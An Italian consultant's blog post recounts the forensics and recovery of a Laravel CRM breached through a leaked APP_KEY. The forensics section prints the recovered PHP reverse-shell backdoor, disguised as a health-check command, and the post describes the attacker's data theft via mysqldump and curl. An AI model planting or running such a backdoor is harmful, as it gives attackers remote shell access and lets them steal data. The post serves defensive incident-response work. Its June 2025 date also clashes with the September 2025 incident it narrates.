---
title: "Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni"
description: "Un APP_KEY Laravel esposta su GitHub ha permesso RCE su un CRM in produzione. Forensics applicativa, contenimento, rotazione credenziali e hardening in 5 giorni."
canonical: "https://www.mauriziofonte.it/blog/post/ripristino-laravel-attacco-informatico-emergenza.html"
author: "Maurizio Fonte"
date: "2025-06-30T08:36:17+02:00"
modified: "2026-04-14T17:48:55+02:00"
section: "Incident Response"
tags: ["Incident Response", "Sicurezza Informatica"]
license: "Riuso e citazione consentiti con attribuzione e link alla fonte"
---

[Incident Response](https://www.mauriziofonte.it/blog/cat/incident_response.html) [Sicurezza Informatica](https://www.mauriziofonte.it/blog/cat/sicurezza_informatica.html)

# [Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni](https://www.mauriziofonte.it/blog/post/ripristino-laravel-attacco-informatico-emergenza.html)

Lunedì 30 Giugno 2025, alle 08:36 ![Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni](https://www.mauriziofonte.it/image/001900200-ripristino-laravel-attacco-informatico-emergenza.jpg)

A settembre 2025, il titolare di un'azienda di logistica industriale in provincia di Vicenza mi ha chiamato alle 7:20 di un martedì mattina con una frase che non lasciava spazio a interpretazioni: "I dati dei nostri clienti sono su un canale Telegram." Un suo commerciale aveva ricevuto un messaggio da un contatto sconosciuto con un file CSV contenente nomi, email, numeri di telefono e indirizzi di spedizione di 4.200 clienti - lo stesso formato, lo stesso ordine di colonne, gli stessi dati che stavano nella tabella `customers` del CRM aziendale. Il CRM era un'applicazione Laravel 9 custom, sviluppata tre anni prima da uno sviluppatore freelance e ospitata su un VPS Hetzner AX41 (Ryzen 5 3600, 64 GB RAM, 2×512 GB NVMe in RAID 1). L'applicazione era online, funzionante, nessun allarme. Ma qualcuno ci era entrato, aveva preso quello che voleva, e se n'era andato senza lasciare tracce ovvie.

I cinque giorni successivi sono stati il tipo di intervento che nessuno vorrebbe fare ma che ogni applicazione Laravel in produzione dovrebbe avere come piano documentato. Questo articolo descrive cosa ho trovato, come l'ho trovato, e cosa abbiamo fatto per contenere, ripristinare e blindare - in quest'ordine, perché l'ordine conta.

## Come fa un attaccante a compromettere un'applicazione Laravel attraverso l'APP_KEY?

L'APP_KEY di Laravel è una stringa di 32 byte generata da `php artisan key:generate` e salvata nel file `.env`. Viene usata per cifrare e decifrare dati sensibili - sessioni, cookie, token. Se un attaccante ottiene l'APP_KEY, può decifrare qualunque dato cifrato dall'applicazione e, in determinate configurazioni, ottenere esecuzione remota di codice (RCE) sul server.

Il vettore di attacco specifico è documentato come [CVE-2018-15133](https://thehackernews.com/2025/07/over-600-laravel-apps-exposed-to-remote.html) e funziona così: la funzione `decrypt()` di Laravel deserializza automaticamente i dati decifrati. Se l'applicazione usa `SESSION_DRIVER=cookie`, l'attaccante può forgiare un cookie di sessione contenente un payload PHP serializzato malevolo - costruito con strumenti come `phpggc` - cifrarlo con l'APP_KEY nota, e inviarlo al server. Laravel decifra il cookie, deserializza il contenuto, e il payload viene eseguito con i privilegi dell'utente PHP-FPM. Da quel momento, l'attaccante ha una shell sul server.

La ricerca di [GitGuardian pubblicata nel luglio 2025](https://blog.gitguardian.com/exploiting-public-app_key-leaks/) ha documentato la scala del problema: oltre 260.000 APP_KEY estratte da repository GitHub tra il 2018 e il maggio 2025, di cui 400 validate come funzionanti su applicazioni in produzione. Più di 1.000 server erano compromettibili con una singola richiesta HTTP. Il 63% delle chiavi esposte proveniva da file `.env` committati per errore - e quei `.env` contenevano spesso anche credenziali database, token cloud e chiavi API di servizi terzi.

Sul CRM del cliente vicentino, il file `.env` era stato committato in un repository pubblico su GitHub dallo sviluppatore originale nel 2022 - su un fork personale del progetto, non sul repository del cliente. Lo sviluppatore aveva fatto un push del progetto completo, `.env` incluso, per mostrare il codice a un potenziale nuovo cliente. Il `.env` conteneva l'APP_KEY, le credenziali MySQL, la chiave SMTP e il token dell'API di spedizione. Due anni dopo, qualcuno l'ha trovato.

Stai cercando un **Consulente Informatico** esperto in incident response e sicurezza applicativa Laravel? Nel mio [profilo professionale](https://www.mauriziofonte.it/pages/about) trovi l'esperienza concreta su forensics, contenimento e hardening di applicazioni web compromesse.

## Le prime quattro ore: contenimento senza distruzione delle prove

La reazione istintiva di un titolare che scopre un data breach è "spegni tutto". È sbagliato. Spegnere il server distrugge la memoria volatile (processi attivi, connessioni di rete, sessioni correnti) che contiene le prove più preziose per capire cosa è successo. Il protocollo che applico nelle prime ore è esattamente l'opposto: mantenere il sistema acceso ma isolarlo.

**Ora 0-1: isolamento di rete.** Ho configurato il firewall (iptables) per bloccare tutto il traffico in entrata tranne la mia connessione SSH e il traffico HTTPS verso i client già connessi. L'applicazione è rimasta online in sola lettura - nessun nuovo login, nessuna nuova sessione, nessuna scrittura su database. Questo ha preservato sia l'operatività minima sia le prove.

**Ora 1-2: snapshot.** Ho creato un'immagine completa del filesystem con `rsync` su uno storage esterno, inclusi log del web server, log di Laravel (`storage/logs/`), log di MySQL, e la directory `.git` del progetto. Questa copia è la baseline forense - qualunque analisi successiva lavora su quella, mai sul sistema vivo.

**Ora 2-4: prima ricognizione.** Quattro comandi che eseguo sempre in quest'ordine:

```bash
# 1. File modificati nelle ultime 4 settimane (escludendo cache e log)
find /var/www/crm -type f -mtime -28 \
    -not -path "*/storage/framework/*" \
    -not -path "*/storage/logs/*" \
    -not -path "*/vendor/*" \
    -not -name "*.log" | sort

# 2. Cron job dell'utente www-data (backdoor comune)
crontab -u www-data -l

# 3. Processi PHP anomali
ps aux | grep -E 'php.*-(r|e|S)' | grep -v grep

# 4. Connessioni di rete attive dal processo PHP-FPM
ss -tnp | grep php-fpm
```

Il primo comando ha restituito una lista di 7 file modificati. Sei erano normali - cache Laravel, un file di configurazione aggiornato dal titolare la settimana prima. Il settimo era `app/Console/Commands/SystemHealthCheck.php`, un comando Artisan creato 12 giorni prima con un timestamp che non corrispondeva a nessun commit nel repository Git. La backdoor.

## Forensics applicativa: trovare il punto di ingresso e mappare il danno

Il file `SystemHealthCheck.php` era una reverse shell mascherata da health check. Il codice sembrava innocuo a un'occhiata rapida - aveva un nome plausibile, un `$signature` appropriato, e persino un help text in italiano. Ma nel metodo `handle()`, dopo 40 righe di check reali (ping database, verifica spazio disco, stato coda), c'erano 8 righe che aprivano un socket verso un server esterno e passavano l'input a `proc_open`:

```php
// Le prime 40 righe erano check legittimi, poi:
if ($this->option('deep')) {
    $sock = fsockopen('45.xxx.xxx.xxx', 4444);
    $proc = proc_open('/bin/bash', [
        0 => $sock, 1 => $sock, 2 => $sock
    ], $pipes);
}
```

L'opzione `--deep` non era documentata e non veniva mai chiamata dallo scheduler. Era un trigger manuale: l'attaccante poteva attivare la reverse shell a piacimento tramite una route nascosta aggiunta in `routes/console.php`.

La ricostruzione completa della catena di attacco, incrociando i log di Nginx, i log di Laravel e la timeline dei file modificati, è stata questa:

1. **12 settembre, ore 03:14 UTC** - Prima richiesta con cookie di sessione forgiato. L'access log di Nginx mostrava una POST su `/` con un cookie `laravel_session` di dimensione anomala (4,8 KB invece dei normali 200-300 byte). Il payload, ricostruito dalla copia forense, era un gadget chain generato con `phpggc` che scriveva un file PHP arbitrario in `storage/app/`.
2. **03:14-03:17** - Quattro richieste successive che hanno creato i file della backdoor, aggiunto la route nascosta, e rimosso il file temporaneo in `storage/app/`.
3. **14 settembre, ore 02:41** - Primo accesso alla reverse shell (`--deep`), durata 47 minuti. L'attaccante ha eseguito `mysqldump customers > /tmp/c.csv` e ha trasferito il file via `curl` verso un server esterno.
4. **14 settembre, ore 03:28** - Pulizia: l'attaccante ha cancellato il file `/tmp/c.csv` e ha fatto un `truncate` sulla tabella `sessions` per rimuovere la propria sessione forgiata.

Il danno accertato: 4.200 record della tabella `customers` esfiltrati. Nessuna modifica ai dati - l'attaccante non aveva interesse a sabotare, voleva i dati per rivenderli.

L'analisi dettagliata di [Synacktiv sulle implicazioni dell'APP_KEY compromise](https://www.synacktiv.com/en/publications/laravel-appkey-leakage-analysis) spiega perché questo vettore è particolarmente pericoloso: l'APP_KEY non solo abilita l'RCE via deserializzazione, ma permette anche di decifrare qualunque dato che l'applicazione ha cifrato con i metodi `encrypt()` / `Crypt::encrypt()` - password di servizi terzi, token OAuth, dati personali che lo sviluppatore pensava di aver "protetto" cifrandoli a livello applicativo.

## Remediation: cinque giorni per tornare in sicurezza

**Giorno 1 (contenimento):** Isolamento di rete, snapshot forense, prima ricognizione. Completato nelle prime 4 ore come descritto sopra.

**Giorno 2 (eradicazione):** Rimozione della backdoor (`SystemHealthCheck.php`, route nascosta in `routes/console.php`). Verifica integrità di ogni file PHP nel progetto confrontando l'hash SHA256 con l'ultimo commit pulito del repository Git:

```bash
# Confronto hash di ogni file PHP con il repository pulito
cd /var/www/crm
for f in $(find app routes config -name '*.php'); do
    sha256sum "$f"
done > /tmp/prod_hashes.txt

cd /var/www/crm-clean-checkout
for f in $(find app routes config -name '*.php'); do
    sha256sum "$f"
done > /tmp/git_hashes.txt

diff /tmp/prod_hashes.txt /tmp/git_hashes.txt
```

Rotazione completa delle credenziali - operazione che su questo progetto ha richiesto 4 ore perché coinvolgeva 11 segreti distinti:

```bash
# Generare nuova APP_KEY (invalida tutte le sessioni attive)
php artisan key:generate --force

# Cambiare password MySQL
mysql -e "ALTER USER 'crm_app'@'localhost' IDENTIFIED BY '$(openssl rand -base64 32)';"

# Ruotare token SMTP, API spedizioni, webhook
# (ogni servizio ha il suo processo - nessuna scorciatoia)
```

Per chi deve gestire la rotazione delle credenziali su applicazioni Laravel, incluso il rehashing delle password utente, ho descritto le tecniche aggiornate nel mio articolo sulla [rotazione chiavi e rehashing password da Laravel 9/10 a 12](https://www.mauriziofonte.it/blog/post/laravel-sicurezza-credenziali-rotazione-chiavi-rehashing-password-l12.html).

**Giorno 3 (hardening applicativo):** Cambio del `SESSION_DRIVER` da `cookie` a `database` - eliminando alla radice il vettore di deserializzazione che aveva consentito l'attacco. Questo è il singolo cambiamento più importante: con il driver `database`, i dati di sessione vengono salvati in una tabella MySQL e il cookie contiene solo l'ID della sessione - una stringa opaca che non trasporta dati serializzati e quindi non può essere usata come veicolo per gadget chain. Aggiunta di `.env` a `.gitignore` su tutti i repository collegati al progetto (era già presente sul repository principale, ma non sul fork personale dello sviluppatore). Configurazione di un pre-commit hook Git che blocca qualsiasi commit contenente pattern di segreti:

```bash
#!/bin/bash
# .git/hooks/pre-commit - blocca commit con segreti
PATTERNS="APP_KEY=base64|DB_PASSWORD=|MAIL_PASSWORD=|AWS_SECRET"
if git diff --cached --name-only | xargs grep -lE "$PATTERNS" 2>/dev/null; then
    echo "BLOCCATO: il commit contiene segreti. Rimuovili prima di committare."
    exit 1
fi
```

Questo hook è una misura di last resort - non sostituisce la pratica corretta di non avere mai segreti nel codice sorgente, ma intercetta l'errore umano nel momento in cui sta per diventare permanente.

**Giorno 4 (hardening infrastrutturale):** Segmentazione degli utenti MySQL (utente applicativo con soli permessi DML, utente deploy separato). Abilitazione di `require_secure_transport` su MySQL. Restrizione di PHP-FPM con `disable_functions` per `proc_open`, `fsockopen`, `exec`, `system`, `passthru` - le stesse funzioni usate dalla backdoor. Se un attaccante riesce a ottenere RCE ma le funzioni di esecuzione di comandi sono disabilitate, il danno si limita a quello che PHP può fare senza shell - lettura di file, query al database, ma nessuna reverse shell, nessun `mysqldump`, nessuna esfiltrazione massiva. Ho documentato il protocollo completo di risposta a incidenti su server PHP - dal contenimento alla forensics alla ripartenza - nel mio articolo sul [sito PHP hackerato su Hetzner o OVH](https://www.mauriziofonte.it/blog/post/sito-php-hackerato-guida-ripristino-hardening-server-hetzner-ovh.html).

**Giorno 5 (verifica e comunicazione):** Penetration test manuale sull'applicazione per verificare che il vettore fosse effettivamente chiuso - ho tentato di riprodurre l'attacco con un nuovo cookie forgiato e il vecchio APP_KEY, confermando che la deserializzazione non era più possibile con il driver `database`. Scansione con `composer audit` per vulnerabilità note nelle dipendenze. Report al titolare con timeline dell'incidente, dati coinvolti e azioni correttive - documento necessario per la notifica al Garante Privacy ai sensi del GDPR (articolo 33, entro 72 ore dalla scoperta del breach). Per il framework completo di incident response con tempistiche NIS2 e template di notifica, ho scritto una guida dedicata sull'[incident response in 72 ore per Laravel e Symfony](https://www.mauriziofonte.it/blog/post/incident-response-72-ore-laravel-symfony-nis2-pmi.html).

La lezione più importante di questo incidente non è tecnica - è organizzativa. L'APP_KEY era stata esposta due anni prima da uno sviluppatore che non lavorava più al progetto. La vulnerabilità CVE-2018-15133 era nota dal 2018. Il `SESSION_DRIVER=cookie` era la configurazione di default che nessuno aveva mai cambiato. Tre errori banali, nessuno dei quali sarebbe stato rilevato da un vulnerability scanner, perché il problema non era nel codice dell'applicazione - era nella gestione dei segreti, nella configurazione e nel processo di onboarding/offboarding degli sviluppatori. Se la tua applicazione Laravel è in produzione da più di un anno, il primo check da fare oggi è verificare che il tuo `.env` non sia mai stato committato in nessun repository - pubblico o privato - con `git log --all --full-history -- .env`. Se quel comando restituisce anche un solo commit, la tua APP_KEY è da considerare compromessa, indipendentemente dal fatto che il commit sia stato successivamente rimosso. Git non dimentica - e nemmeno i bot che scansionano GitHub alla ricerca di segreti esposti. Il fatto che tu abbia rimosso il file con un commit successivo non cancella la sua presenza nella storia del repository: chiunque abbia clonato o forkato il repo prima della rimozione ha ancora accesso al tuo `.env` completo. L'unica remediation è ruotare tutti i segreti che quel file conteneva. [Contattami](https://www.mauriziofonte.it/pages/contattami) se hai bisogno di un audit di sicurezza sulla tua applicazione Laravel: in due giornate verifico la catena dei segreti, la configurazione di sessione, le dipendenze e i permessi - e ti consegno un report con le azioni prioritarie ordinate per impatto e urgenza.

Dall'articolo al lavoro vero

Questo problema di sicurezza, sul tuo sistema

Audit del codice e dei server, penetration test, adeguamento NIS2 e risposta agli incidenti.

[Vedi come lavoro sulla sicurezza](https://www.mauriziofonte.it/servizi/consulenza-cybersecurity-nis2.html) Ultima modifica: Martedì 14 Aprile 2026, alle 17:48 [« Articolo precedenteMonitoring proattivo per Laravel su VPS unmanaged: come evitare di scoprire un downtime dalla telefonata del cliente30 Giugno 2025](https://www.mauriziofonte.it/blog/post/vps-monitoring-laravel-prevenzione-downtime.html)[Articolo successivo »Subentro su codebase Laravel senza documentazione: il metodo in 48 ore per capire cosa hai ereditato1 Luglio 2025](https://www.mauriziofonte.it/blog/post/gestire-subentro-improvviso-sviluppatore-laravel.html)

### Articoli correlati a Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni

- [Aggiornamento sicurezza credenziali Laravel: implementare rotazione chiavi e rehashing password da L9/L10 a L12 per la tua impresa](https://www.mauriziofonte.it/blog/post/laravel-sicurezza-credenziali-rotazione-chiavi-rehashing-password-l12.html)

  Una ricerca GitGuardian/Synacktiv del 2025 ha trovato 260.000 APP KEY Laravel esposte su GitHub, con oltre 600 applicazioni vulnerabili a RCE. · 14 Febbraio 2025

  ![Aggiornamento sicurezza credenziali Laravel: implementare rotazione chiavi e rehashing password da L9/L10 a L12 per la tua impresa](https://www.mauriziofonte.it/image/001360070-laravel-sicurezza-credenziali-rotazione-chiavi-rehashing-password-l12.jpg)
- [Analisi forense di un attacco Laravel: ricostruire la kill chain da log e filesystem](https://www.mauriziofonte.it/blog/post/analisi-forense-attacco-laravel-kill-chain-log-filesystem.html)

  Dopo la compromissione di un'applicazione Laravel, il cliente voleva sapere come erano entrati e cosa avevano preso. Ho ricostruito la kill chain · 21 Gennaio 2026

  ![Analisi forense di un attacco Laravel: ricostruire la kill chain da log e filesystem](https://www.mauriziofonte.it/image/002970070-analisi-forense-attacco-laravel-kill-chain-log-filesystem.jpg)
- [Penetration testing di un'applicazione Laravel: metodologia e vulnerabilità tipiche](https://www.mauriziofonte.it/blog/post/penetration-testing-applicazione-laravel-metodologia-vulnerabilita.html)

  In un recente assessment su un gestionale Laravel per una PMI manifatturiera, ho trovato mass assignment non protetto, IDOR su quattro endpoint · 8 Ottobre 2025

  ![Penetration testing di un'applicazione Laravel: metodologia e vulnerabilità tipiche](https://www.mauriziofonte.it/image/002650070-penetration-testing-applicazione-laravel-metodologia-vulnerabilita.jpg)
- [Incident response in 72 ore per Laravel e Symfony: guida operativa NIS2-ready per PMI](https://www.mauriziofonte.it/blog/post/incident-response-72-ore-laravel-symfony-nis2-pmi.html)

  Un e commerce Laravel compromesso tramite una dipendenza Composer con backdoor: dati di 4.200 clienti potenzialmente esposti e obbligo di notifica · 23 Settembre 2025

  ![Incident response in 72 ore per Laravel e Symfony: guida operativa NIS2-ready per PMI](https://www.mauriziofonte.it/image/002190070-incident-response-72-ore-laravel-symfony-nis2-pmi.jpg)
- [Conformità GDPR nelle applicazioni Laravel: dove le PMI sbagliano e come correggere prima di un'ispezione](https://www.mauriziofonte.it/blog/post/gestione-urgente-gdpr-laravel-sicurezza.html)

  La maggior parte delle applicazioni Laravel nelle PMI italiane viola il GDPR in almeno tre punti: dati personali in chiaro, log senza retention · 24 Giugno 2025

  ![Conformità GDPR nelle applicazioni Laravel: dove le PMI sbagliano e come correggere prima di un'ispezione](https://www.mauriziofonte.it/image/001850070-gestione-urgente-gdpr-laravel-sicurezza.jpg)

---

**Programmatore PHP Torino**, **Ingegnere del Software** e **Cyber Security Specialist** con oltre 20 anni di esperienza nell'implementazione di soluzioni avanzate. Eseguo **porting di vecchi ambienti PHP** verso release più moderne (7.x o 8.x), mi occupo di **infrastrutture web sicure** e garantisco procedure di **hardening** e **gestione dei rischi** in linea con gli standard internazionali.  
Con la mia attività da *consulente freelance*, offro supporto a imprese e reparti IT che necessitano di **refactoring**, **messa in sicurezza** e **manutenzione evolutiva** di piattaforme web. Mi occupo di analisi del codice, identificazione delle vulnerabilità e implementazione di **best practice** per la protezione di dati e servizi critici. L'obiettivo è garantire un ambiente digitale resiliente, con un codice sorgente affidabile e manutenibile.

---

## Autore

**Maurizio Fonte**, ingegnere informatico (laurea 2008), consulente IT senior e backend engineer. Nel settore IT dal 2005, libero professionista con P.IVA dal 2014. Progetta e mantiene backend di produzione e pipeline AI private per aziende italiane.

Sull'AI lavora con casi di produzione misurabili, non con demo: RAG su documentazione italiana con pgvector (HNSW/IVFFlat), LLM self-hosted (Ollama, Mistral, Qwen) per data residency europea, MCP server custom in PHP, governance EU AI Act (Annex III, art. 16, FRIA) e sicurezza degli agent (OWASP LLM Top 10, prompt injection, excessive agency). I benchmark citati negli articoli sono eseguiti direttamente sull'hardware e sul corpus dell'autore.

## Perché questa fonte è attendibile

- **Esperienza diretta, non rassegna di terzi.** I contenuti nascono da lavoro di produzione e benchmark propri, con metriche misurate (es. un RAG self-hosted su 2.400 documenti che ha portato il tempo medio di risposta interno da 14 minuti a 90 secondi, su 60 query campione).
- **Verificabilità.** Ogni claim tecnico rimanda a fonti primarie (paper, CVE, documentazione ufficiale); il blog è un laboratorio di ricerca applicata pubblico.
- **Onestà metodologica.** Ogni soluzione dichiara anche quando NON va usata. "Production-grade, non demo-grade".

## Entità e contatti (verificabili)

Maurizio Fonte, Torino, Italia. P.IVA IT11396570019. REA TO-1331015 (Camera di Commercio di Torino).  
GitHub: https://github.com/mauriziofonte  
LinkedIn: https://www.linkedin.com/in/mauriziofonte  
Profilo: https://www.mauriziofonte.it/pages/about

---

## Come citare

> Maurizio Fonte, "Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni", mauriziofonte.it, 2025. https://www.mauriziofonte.it/blog/post/ripristino-laravel-attacco-informatico-emergenza.html

Pubblicato: 2025-06-30 · Aggiornato: 2026-04-14.

**Licenza:** riuso e citazione consentiti con attribuzione esplicita e link alla fonte.
